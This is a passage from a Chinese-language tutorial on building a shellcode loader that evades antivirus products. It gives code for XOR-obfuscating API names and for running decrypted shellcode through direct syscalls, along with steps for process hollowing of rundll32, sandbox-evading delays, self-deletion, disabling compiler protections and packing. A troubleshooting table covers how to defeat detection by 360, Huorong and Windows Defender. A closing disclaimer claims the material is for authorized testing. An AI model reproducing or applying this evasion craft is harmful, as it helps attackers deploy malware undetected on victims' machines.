key, iv 输出为C数组格式 print(// 将以下内容复制到加载器中) print(const char* b64_payload \ b64_sc \;) print(unsigned char key[] { , .join(f0x{b:02x} for b in key) };) print(unsigned char iv[] { , .join(f0x{b:02x} for b in iv) };)创建Visual Studio项目配置为Release模式关闭调试信息/DEBUG:NONE开启优化/O2使用MT运行时库静态链接以减少依赖。关闭SDL检查和安全开发生命周期检查。实现Base64解码和AES解密在网上找一个简洁的、无外部依赖的Base64解码和AES-256-CBC解密代码集成到项目中。避免使用#pragma comment(lib, crypt32.lib)这样明显的链接语句。4.2 第二阶段核心加载逻辑与混淆字符串混淆定义一个宏或函数用来隐藏API函数名。// 简单的异或混淆 char s_VirtualAlloc[] { V,i^0x55,r,t^0x55,u,a^0x55,l,A^0x55,l,l^0x55,o,c^0x55, 0 }; for(int i0; istrlen(s_VirtualAlloc); i) s_VirtualAlloc[i] ^ 0x55; // 运行时解密 HMODULE hKernel32 GetModuleHandleA(kernel32.dll); auto pVirtualAlloc (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(hKernel32, s_VirtualAlloc);实现Syscall加载可选但推荐集成SysWhispers生成NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx等函数的直接调用代码。这将是我们最终执行Shellcode的核心手段。编写Shellcode执行函数BOOL ExecuteShellcode(unsigned char* decrypted_sc, SIZE_T sc_size) { // 使用Syscall或混淆后的API指针 NTSTATUS status; PVOID baseAddr NULL; SIZE_T regionSize sc_size; // 1. 申请内存 (使用NtAllocateVirtualMemory Syscall) status NtAllocateVirtualMemory(GetCurrentProcess(), baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status ! 0) return FALSE; // 2. 写入Shellcode memcpy(baseAddr, decrypted_sc, sc_size); // 3. 修改内存为可执行 (使用NtProtectVirtualMemory Syscall) DWORD oldProtect; status NtProtectVirtualMemory(GetCurrentProcess(), baseAddr, ®ionSize, PAGE_EXECUTE_READ, oldProtect); if (status ! 0) { VirtualFree(baseAddr, 0, MEM_RELEASE); return FALSE; } // 4. 执行 (使用NtCreateThreadEx Syscall或CreateThread) HANDLE hThread NULL; status NtCreateThreadEx(hThread, GENERIC_ALL, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)baseAddr, NULL, FALSE, 0, 0, 0, NULL); if (status ! 0) return FALSE; WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); // 可选执行后释放内存 // VirtualFree(baseAddr, 0, MEM_RELEASE); return TRUE; }插入花指令和垃圾代码在关键函数前后插入一些永不执行或执行无影响的汇编代码块干扰反汇编器和特征识别。__asm { push eax mov eax, 0xdeadbeef pop eax nop nop nop }4.3 第三阶段进程注入与行为伪装实现进程镂空使用CreateProcess创建目标进程如C:\\Windows\\System32\\rundll32.exe并设置CREATE_SUSPENDED标志。使用NtUnmapViewOfSection或ZwUnmapViewOfSection卸载目标进程的主模块内存。在我们自己的进程空间按照目标进程的PEB中的ImageBase地址使用VirtualAllocEx申请内存。将我们的Shellcode加载器或Donut生成的PE转Shellcode写入该内存。通过SetThreadContext修改挂起线程的上下文主要是RIP/EIP寄存器指向我们写入的代码入口。使用ResumeThread恢复线程执行。加入延时和随机操作在主函数中不要立即执行核心逻辑。可以加入Sleep(rand() % 30000 10000)随机睡眠10-40秒。或者循环检测某个文件是否存在、某个网络是否连通作为触发条件。这能有效绕过一些简单的沙箱或行为监控的时间阈值检测。清理痕迹执行完成后可以尝试删除自身文件自删除但这在Windows Defender受控文件夹访问等机制下可能失败需谨慎。4.4 编译与后处理编译选项优化链接器 - 高级 - 随机基址 (/DYNAMICBASE:YES)链接器 - 高级 - 数据执行保护 (DEP) - 否 (/NXCOMPAT:NO)注意这可能会触发一些安全策略需权衡链接器 - 高级 - 强制完整性检查 - 否 (/INTEGRITYCHECK:NO)链接器 - 清单文件 - 生成清单 - 否C/C - 代码生成 - 安全检查 - 禁用安全检查 (/GS-)加壳与混淆使用商业或开源的加壳工具对生成的EXE进行保护如VMProtect, Themida商业或开源的UPX但UPX特征明显需修改版本信息或手动加壳。加壳可以进一步隐藏原始代码结构和字符串。但请注意一些猛壳本身就会被杀软标记为恶意需要测试。签名可选高级如果条件允许使用有效的代码签名证书对可执行文件进行签名可以极大降低被拦截的概率。但这涉及法律和成本仅供学术讨论。5. 测试、排查与对抗升级完成编译后千万不要直接在主力机上测试。务必在隔离的虚拟机环境中进行。5.1 测试环境搭建虚拟机快照准备一个干净的Windows 10/11虚拟机安装好360、火绒和开启实时保护的Windows Defender。务必在测试前创建快照方便回滚。断网测试首次测试建议断网以测试本地引擎的检测能力。之后联网测试云查杀。行为监控工具使用Process Monitor, Process Hacker, API Monitor等工具监控你的加载器进程的所有操作看其行为序列是否与预期一致有无可疑调用。5.2 典型问题与排查问题现象可能原因排查与解决思路刚编译完保存到磁盘就被秒杀静态特征被识别加壳特征、字符串特征、代码段特征。1. 检查字符串混淆是否彻底。2. 尝试更换加壳工具或参数。3. 修改花指令模式。4. 使用不同编译器或版本重新编译如从VS2019换到VS2022或尝试MinGW。运行后进程瞬间消失无报错主防特别是360云主防或Defender的AM-PPL在进程启动初期基于行为直接终止。1. 增加启动延时和随机操作。2. 检查是否在短时间内连续调用了敏感API。尝试将“申请-写入-执行”的步骤用Sleep间隔开。3. 尝试使用更隐蔽的进程创建方式如通过COM对象、计划任务启动。运行后进程存在但Shellcode未执行网络无连接注入或执行过程失败。可能内存申请失败、线程创建失败或Shellcode本身在解密/还原过程中出错。1. 在关键函数调用后添加日志输出输出到文件或调试器记录返回值GetLastError。2. 使用调试器如x64dbg附加到进程单步跟踪看程序执行流在哪里中断或出错。3. 检查Shellcode解密函数确保密钥、IV、模式与加密时完全一致。联网后几分钟进程被终止云查杀滞后响应或内存扫描/行为监控后续判定为恶意。1. 检查是否有周期性的、可疑的行为如心跳包、持续外连。尝试让Shellcode的连接行为更“低调”。2. 实现内存加密执行后立即擦除或重加密。3. 考虑使用更合法的通信协议和端口进行伪装。火绒弹窗提示“恶意行为”或“程序联网”火绒的行为沙盒捕获了敏感操作序列。1. 仔细分析火绒的日志看它具体拦截了哪个行为如“创建远程线程”、“修改其他进程内存”。2. 针对被拦截的行为更换技术。例如如果“创建远程线程”被拦尝试使用QueueUserAPC或SetThreadContext进行执行流劫持。5.3 持续对抗与思路演进当你的加载器在某一天失效时意味着防御方升级了。你需要分析原因是被新的静态特征命中还是行为规则被更新可以尝试将样本上传到VirusTotal等平台查看各家杀软的报毒名从中获取线索如Trojan.Generic,Behavior:Win32/Injector等。调整策略换壳使用不同的加壳工具或自定义壳。改行为换一种进程注入技术或者改变API的调用顺序和时机。升级技术研究更新的绕过技术如利用Windows未公开的特性、合法的 LOLBinsLiving Off the Land Binaries来执行代码。模拟正常软件让你的加载器在前期执行一些正常软件都会有的行为如读取配置文件、访问注册表、进行一些无关的网络请求等然后再在后台悄悄执行恶意逻辑。最后我必须再次强调所有这些技术都应当用于授权的安全测试、产品评估和学术研究。理解和掌握攻击技术是为了能更好地进行防御。安全是一个动态博弈的领域唯有保持学习、深入原理才能跟上变化的节奏。在实际操作中耐心和细致的调试远比追求“一招鲜”更重要。每一个成功的免杀样本背后都是对系统机制和安防软件逻辑的深刻理解与无数次测试调整的结果。